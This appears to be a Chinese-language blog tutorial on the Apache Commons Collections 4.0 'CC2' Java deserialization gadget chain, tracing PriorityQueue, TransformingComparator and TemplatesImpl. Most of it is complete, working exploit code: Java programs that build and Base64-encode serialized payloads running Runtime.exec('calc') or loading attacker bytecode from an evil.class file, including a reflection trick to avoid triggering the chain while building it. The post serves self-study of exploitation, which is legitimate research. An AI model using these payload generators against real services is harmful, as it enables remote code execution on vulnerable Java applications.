cc2链详解
版本: jdk8u121
依赖: Apache Commons Collections 4.0
1 2 3 4 5 6 7 <dependencies> <dependency> <groupId>org.apache.commons</groupId> <artifactId>commons-collections4</artifactId> <version>4.0</version> </dependency> </dependencies>
书接上文,上一次和上上次我们学习templateImp链子和cc1链子,这两对于理解cc2链子都至关重要,那么直接步入正题
PriorityQueue利用链 回忆一下cc1链最重要的触发函数是哪个?->ChainedTransformer.transform
而这条链子也由此展开,我们寻找谁调用了transform这个函数(除了cc1的哪些以外)
发现了org.apache.commons.collections4.comparators.TransformingComparator这个类的compare函数,调用逻辑为:
1 2 3 4 5 public int compare(final I obj1, final I obj2) { final O value1 = this.transformer.transform(obj1); final O value2 = this.transformer.transform(obj2); return this.decorated.compare(value1, value2); }
我们查看一下transformer是否可控
1 2 3 4 public TransformingComparator(final Transformer<? super I, ? extends O> transformer, final Comparator<O> decorated) { this.decorated = decorated; this.transformer = transformer; }
可以看到公有构造函数对transformer进行了赋值,也就是说我们可控
再看有谁调用了compare函数,有非常的多,我们直接步入正题,选中java.util.PriorityQueue这个类,有两个函数调用了compare,分别是
siftUpUsingComparator
siftDownUsingComparator
调用代码:
siftUpUsingComparator 1 2 3 4 5 6 7 8 9 10 11 private void siftUpUsingComparator(int k, E x) { while (k > 0) { int parent = (k - 1) >>> 1; Object e = queue[parent]; if (comparator.compare(x, (E) e) >= 0) break; queue[k] = e; k = parent; } queue[k] = x; }
siftDownUsingComparator 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 private void siftDownUsingComparator(int k, E x) { int half = size >>> 1; while (k < half) { int child = (k << 1) + 1; Object c = queue[child]; int right = child + 1; if (right < size && comparator.compare((E) c, (E) queue[right]) > 0) c = queue[child = right]; if (comparator.compare(x, (E) c) <= 0) break; queue[k] = c; k = child; } queue[k] = x; }
可以看到都调用了comparator属性的compare函数,我们查看comparator是否可控,发现其公有构造函数:
1 2 3 4 5 6 7 8 public PriorityQueue(int initialCapacity,Comparator<? super E> comparator) { // Note: This restriction of at least one is not actually needed, // but continues for 1.5 compatibility if (initialCapacity < 1) throw new IllegalArgumentException(); this.queue = new Object[initialCapacity]; this.comparator = comparator; }
明显可控
那我们继续,查看siftDownUsingComparator和siftUpUsingComparator的调用,发现
可以看到siftDown调用了siftDownUsingComparator,siftUp调用了siftUpUsingComparator
siftDown和siftUp的函数逻辑都一样:只要comparator属性不为空,就调用对应函数
继续寻找谁调用了siftDown或者siftUp发现heapify函数和offer函数
1 2 3 4 private void heapify() { for (int i = (size >>> 1) - 1; i >= 0; i--) siftDown(i, (E) queue[i]); }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 public boolean offer(E e) { if (e == null) throw new NullPointerException(); modCount++; int i = size; if (i >= queue.length) grow(i + 1); size = i + 1; if (i == 0) queue[0] = e; else siftUp(i, e); return true; }
具体逻辑循环i等于size属性逻辑左移-1,即i=size/2-1(不溢出的情况下),所以如果在这要调用到siftDown的话,size得保证大于等于2
再寻找谁调用了heapify函数,就能发现readObject了,函数实现:
1 2 3 4 5 6 7 8 9 10 11 12 13 private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { s.defaultReadObject(); s.readInt(); queue = new Object[size]; for (int i = 0; i < size; i++) queue[i] = s.readObject(); heapify(); }
这里并没有对size进行什么大的操作,那么就可以开始写exp了,至于offer函数,调用它的函数链只是一些队列处理函数,不涉及反序列化,所以先不考虑他,但是要记着这个函数,后面会提到他
开始写反序列化链子,目前为止是:
readObject->PriorityQueue.readObject->PriorityQueue.heapify->PriorityQueue.siftDown->PriorityQueue.siftDownUsingComparator->TransformingComparator.compare->ChainedTransformer.transform
PQtest.java(fail) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 package test; import org.apache.commons.collections4.Transformer; import org.apache.commons.collections4.comparators.TransformingComparator; import org.apache.commons.collections4.functors.ChainedTransformer; import org.apache.commons.collections4.functors.ConstantTransformer; import org.apache.commons.collections4.functors.InvokerTransformer; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.util.Base64; import java.util.PriorityQueue; public class PQtest { public static void main(String[] args) throws Exception{ ConstantTransformer constantTransformer=new ConstantTransformer(Runtime.class); InvokerTransformer invokerTransformer1=new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}); InvokerTransformer invokerTransformer2=new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}); InvokerTransformer invokerTransformer3=new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}); Transformer[] Transformers=new Transformer[]{constantTransformer,invokerTransformer1,invokerTransformer2,invokerTransformer3}; Transformer chainedTransformer =new ChainedTransformer(Transformers); TransformingComparator comparator=new TransformingComparator(chainedTransformer); PriorityQueue priorityQueue=new PriorityQueue(2,comparator); priorityQueue.offer("Nebu"); priorityQueue.offer("1ea"); //序列化 ByteArrayOutputStream byteArrayOutputStream=new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream=new ObjectOutputStream(byteArrayOutputStream); objectOutputStream.writeObject(priorityQueue); objectOutputStream.close(); byte[] bytes=byteArrayOutputStream.toByteArray(); String payload= Base64.getEncoder().encodeToString(bytes); System.out.print(payload); //反序列化 ByteArrayInputStream byteArrayInputStream=new ByteArrayInputStream(bytes); ObjectInputStream objectInputStream=new ObjectInputStream(byteArrayInputStream); objectInputStream.readObject(); objectInputStream.close(); } }
正常这样就行了,但是有个问题,如果我们想让size变大,就必须要往priorityQueue队列里面添加元素,那就必定要直接或间接的调用到offer函数,链子就直接触发了,导致根本生成不了payload,如下图:
那么有没有什么方法能往priorityQueue添加元素的同时不触发链子呢?有的兄弟,有的:)’
我们只需要先不把comparator放进去,先添加元素,加完后用反射修改priorityQueue的属性即可,具体实现为这样
1 2 3 4 5 PriorityQueue priorityQueue=new PriorityQueue(2,null); priorityQueue.offer("Nebu"); priorityQueue.offer("1ea"); Field field=priorityQueue.getClass().getDeclaredField("comparator"); field.setAccessible(true);
这样就巧妙的解决了这个问题,接下来是成功的exp
PQtest.java(success) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 package test; import org.apache.commons.collections4.Transformer; import org.apache.commons.collections4.comparators.TransformingComparator; import org.apache.commons.collections4.functors.ChainedTransformer; import org.apache.commons.collections4.functors.ConstantTransformer; import org.apache.commons.collections4.functors.InvokerTransformer; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.util.Base64; import java.util.PriorityQueue; public class PQtest { public static void main(String[] args) throws Exception{ ConstantTransformer constantTransformer=new ConstantTransformer(Runtime.class); InvokerTransformer invokerTransformer1=new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}); InvokerTransformer invokerTransformer2=new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}); InvokerTransformer invokerTransformer3=new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}); Transformer[] Transformers=new Transformer[]{constantTransformer,invokerTransformer1,invokerTransformer2,invokerTransformer3}; Transformer chainedTransformer =new ChainedTransformer(Transformers); TransformingComparator comparator=new TransformingComparator(chainedTransformer); PriorityQueue priorityQueue=new PriorityQueue(2,null); priorityQueue.offer("Nebu"); priorityQueue.offer("1ea"); Field field=priorityQueue.getClass().getDeclaredField("comparator"); field.setAccessible(true); field.set(priorityQueue,comparator); //序列化 ByteArrayOutputStream byteArrayOutputStream=new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream=new ObjectOutputStream(byteArrayOutputStream); objectOutputStream.writeObject(priorityQueue); objectOutputStream.close(); byte[] bytes=byteArrayOutputStream.toByteArray(); String payload= Base64.getEncoder().encodeToString(bytes); System.out.print(payload); //反序列化 ByteArrayInputStream byteArrayInputStream=new ByteArrayInputStream(bytes); ObjectInputStream objectInputStream=new ObjectInputStream(byteArrayInputStream); objectInputStream.readObject(); objectInputStream.close(); } }
cc链调用TemplatesImpl 其实这并不是一个值得细细说的东西,因为触发链和之前的一模一样,只是最后InvokeTransformer.transformer变成了调用TemplateImp的getOutputProperties()或者newTransformer()
而在这种情况下,由ChainedTransformer将他们串联起来就太过于繁琐了,得找新的方法,我们重新回到调用compare函数的地方
siftDownUsingComparator 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 private void siftDownUsingComparator(int k, E x) { int half = size >>> 1; while (k < half) { int child = (k << 1) + 1; Object c = queue[child]; int right = child + 1; if (right < size && comparator.compare((E) c, (E) queue[right]) > 0) c = queue[child = right]; if (comparator.compare(x, (E) c) <= 0) break; queue[k] = c; k = child; } queue[k] = x; }
之前我们利用ChainedTransformer串联的时候是不管传进transform的参数是什么东西的,而如果直接利用InvokeTransformer的话,就必须控制transform的参数为恶意的实例,也就是我们写的templateImp
那怎么控制呢?我们看到上方的代码,comparator.compare((E) c, (E) queue[right]) > 0),这个c是那里来的?
c=queue[child],queue队列的元素,序列号为k的逻辑左移加一,也就是k*2+1
那k又是从哪来的呢,我们看到
1 2 3 4 private void heapify() { for (int i = (size >>> 1) - 1; i >= 0; i--) siftDown(i, (E) queue[i]); }
这里面的i就是传递下去的k,如果我们保证size=2的情况下,k就等于0,也就是说我们只要保证queue的第二个元素是我们的恶意实例即可,那我们再看queue是否可控,发现完全可控
那就开始写exp吧
templateTest.java 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 package test; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import org.apache.commons.collections4.comparators.TransformingComparator; import org.apache.commons.collections4.functors.InvokerTransformer; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.util.Base64; import java.util.PriorityQueue; public class templateTest { public static String serialize(Object a) throws Exception{ ByteArrayOutputStream byteArrayInputStream=new ByteArrayOutputStream(); ObjectOutputStream out = new ObjectOutputStream(byteArrayInputStream); out.writeObject(a); out.flush(); out.close(); byte[] serial=byteArrayInputStream.toByteArray(); String payload= Base64.getEncoder().encodeToString(serial); return payload; } public static Object unserialize(String payload) throws Exception{ byte[] bytes=Base64.getDecoder().decode(payload); ByteArrayInputStream byteArrayInputStream=new ByteArrayInputStream(bytes); ObjectInputStream objectInputStream=new ObjectInputStream(byteArrayInputStream); Object obj = objectInputStream.readObject(); return obj; } public static void main(String[] args) throws Exception{ TemplatesImpl templates = new TemplatesImpl(); Class templatesClass = templates.getClass(); // 赋值_name Field _nameField = templatesClass.getDeclaredField("_name"); _nameField.setAccessible(true); _nameField.set(templates,"Nebu1ea"); // 赋值_bytecodes Field _bytecodesField = templatesClass.getDeclaredField("_bytecodes"); _bytecodesField.setAccessible(true); byte[] bytes = Files.readAllBytes(Paths.get("D:\\WebSecurity\\CTF\\JAVA\\反序列化学习\\templateImpTest\\src\\main\\java\\test\\evil.class")); byte[][] bytes1 = new byte[1][bytes.length]; bytes1[0]=bytes; _bytecodesField.set(templates,bytes1); //上方为创建恶意template实例 //newTransformer触发 // InvokerTransformer invokerTransformer=new InvokerTransformer("newTransformer",null,null); //getOutputProperties触发 InvokerTransformer invokerTransformer=new InvokerTransformer("getOutputProperties",null,null); TransformingComparator comparator=new TransformingComparator(invokerTransformer); //上方生成comparator PriorityQueue priorityQueue=new PriorityQueue(2,null); priorityQueue.offer("Nebu"); priorityQueue.offer("1ea"); Field field=priorityQueue.getClass().getDeclaredField("comparator"); field.setAccessible(true); field.set(priorityQueue,comparator); Object[] queue=new Object[]{templates,templates}; Field field1=priorityQueue.getClass().getDeclaredField("queue"); field1.setAccessible(true); field1.set(priorityQueue,queue); String payload=serialize(priorityQueue); unserialize(payload); } }
就此结束,Ciallo~~